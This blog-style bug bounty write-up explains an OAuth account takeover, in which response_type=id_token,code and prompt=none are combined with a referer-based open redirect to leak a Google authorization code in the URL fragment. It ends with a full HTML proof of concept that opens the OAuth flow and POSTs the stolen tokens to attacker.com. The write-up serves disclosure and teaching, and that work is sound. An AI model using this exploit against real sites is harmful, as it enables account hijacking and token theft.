A few months ago, I was working on a public bug bounty program, and there was an OAuth implementation for users to log in and sign up.
Introduction
First of all, before you start reading this blog post, you should be familiar with some concepts:
Happy Path definition according to Wikipedia:
In the context of software or information modeling, a happy path (sometimes called happy flow) is a default scenario featuring no exceptional or error conditions. For example, the happy path for a function validating credit card numbers would be where none of the validation rules raise an error, thus letting execution continue successfully to the end, generating a positive response.
Non-Happy Paths definition based on Frans Rosen's write-up:
First, let’s explain the various ways to break the OAuth-dance. When I mean break, I mean causing a difference between the OAuth-provider issuing valid codes or tokens, but the website that gets the tokens from the provider is not successfully receiving and handling the tokens. I’ll refer to this below as a “non-happy path.
The "Dirty Dancing" write-up by Frans is one of the sources that inspired me to look into different OAuth implementations and expand my focus on Authorization and Authentication features to increase my attack surfaces in web and mobile applications.
let’s go back to Target
OAuth Flow of the Target
I started working with OAuth functionality to understand the happy path and conduct some testing to find the non-happy path. So, I drew a diagram to show exactly what happened in the flow:
As you can see in the callback section the green path is the happy path that the programmer expects:
The red one is an non-happy path where the application continues with a different flow. If the conditions are not met, for example, missing a parameter or its value, the application will show weird behavior. So here, we as hunters love this weird behavior:
Open Redirect Referer Based
Here, I spent several hours figuring out this behavior further. As observed, in the other flow, the web application (not the OAuth provider) redirects the user to the referer
value without any parameter. This behavior is not a vulnerability, but it is not a common way for error handling. As a hunter, when I face these situations, I dig a little bit to discover something new.
Conditions to be Vulnerable
Here are the conditions for the web application to be vulnerable:
We cannot force users to redirect with parameters
The application must go through the other flow to redirect based on the referer
In the last step of the flow the
referer
must be the attacker-controlreferer
In order to take over a victim’s account, the
code
should be stolen
Fragment Redirect
There are two common ways to redirect users: server-side and client-side. In the first method, when a user is redirected to another website, the fragment part of the URL remains unchanged, however, in a client-side redirect, the fragment part of the URL is removed with each redirect:
Response Type
To achieve the non-happy path (the red one in the diagram), I needed to force the application to derail from its normal behavior. So, I tried changing the response_type
parameter from code
to id_token
(I learned the technique from here), and I was able to enter the other flow. In the other flow, surprisingly and unexpectedly, the access token was placed in the URL fragment section:
Referer Research
In the terms of referer, I conducted a small research to find out the HTTP and browsers behavior. I reached the following:
If I open
attacker.com
and it containswindow.open(‘google.com‘)
and it redirects me to thex.com
by3xx
status code, the x.com will see the referer asattacker.com
. it does not limited to one redirect, can be multiple, w → x → y → z and thez
will see the referer asw
For the better understanding I drew a diagram:
Three OAuth Providers
I initiated the OAuth flow of three providers (Facebook, Google, GitHub) that the website uses to figure out whether it can be exploited or not.
In the Facebook OAuth flow, I noticed that there is always a confirmation step at the end. It requires the user to stop and click on the confirmation to proceed, which changes the referrer to facebook.com
and makes it non-exploitable:
Github
In the Github OAuth flow, we don't have a response_type
parameter to manipulate to achieve changing the authentication flow, so I skipped it.
In the Google OAuth flow, everything was ready to exploit. We were able to start the authentication flow with window.open
and use different response_type
values like id_token
and code
.
However, there was a problem: when the user had multiple Google accounts in the browser, the page would prompt the user to select an account.
This interruption caused the referrer to change to accounts.google.com
, making it non-exploitable. The solution was to use the prompt=none
parameter for users who had previously logged in with Google, which bypassed the account selection step and completed the flow automatically.
What do we have so far?
if you remember we have a few challenges to exploit this, so we solve all of them:
We cannot force users to redirect with parameters
→ we can redirect fragments
The application must go through the other flow to redirect based on the referer
→ the response_type does thatIn the last step of the flow, the referer must be the attacker-control referer
→ window.opener + 3xx status code redirect
In order to take over a victim’s account, the code should be stolen
→ not solved yet, let’s go through it
Implementation of OAuth
So far, we can exploit the victim and steal the state
and id_token
.
Can we take over the victim's account with the id_token
? What do you think?
The answer is NO; we need the authorization code to take over.
So, a simple question arises: why?
Unfortunately, the id_token
was useless since the application didn’t have backend code to authenticate users with it. you can find the answer in this diagram.
Comma
However, I didn't quit and started digging more into the concepts. While doing some research, I found something very interesting in Google OAuth. I noticed that we can use multiple response_type
values in Google OAuth. For example, we can use something like this:
So I tried it and started the OAuth flow with response_type=code,id_token
parameters, and after the flow ended, the result was like this:
attacker.com#state=STATE&id_token=TOKEN&state=STATE&code=CODE
So, after a long journey, I was able to take over the victim's account.
Exploitation: Flow
so the exploit flow looks like this,
the attacker sends a malicious link to the victim.
the victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=none
as additional parameters.In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uri
parameter, which is a target website.Due to the non-happy path, the victim is redirected to the attacker's website with everything the attacker needs in the fragment section.
Exploitation: Code
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Attacker Website</title>
</head>
<body>
<input type="button" value="exploit" onclick="exploit()">
<script>
function exploit() {
window.open("https://accounts.google.com/o/oauth2/auth?client_id=&redirect_uri=https://target.com/api/v1/oauth/google/callback/login&scope=https://www.googleapis.com/auth/userinfo.profile%20https://www.googleapis.com/auth/userinfo.email&state=&response_type=id_token,code&prompt=none", "", "width=10, height=10");
}
window.addEventListener('load', () => {
const fragment = window.location.hash;
if (fragment) {
const encodedFragment = encodeURIComponent(fragment);
fetch('https://attacker.com/save_tokens', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `${encodedFragment}`,
});
}
});
</script>
</body>
</html>
Conclusion
don't forget that this complexity is made up of small components, and understanding how these pieces work together is what leads to vulnerabilities. finally, I reported it, and after a week of explaining this to the company's security team, they finally marked it as TRIAGE. they changed the attack complexity from LOW to HIGH because not every user connects their Google account to their account. As a result, the CVSS score changed from 8.8 to about 7.7, and I received about $3000 bounty for that.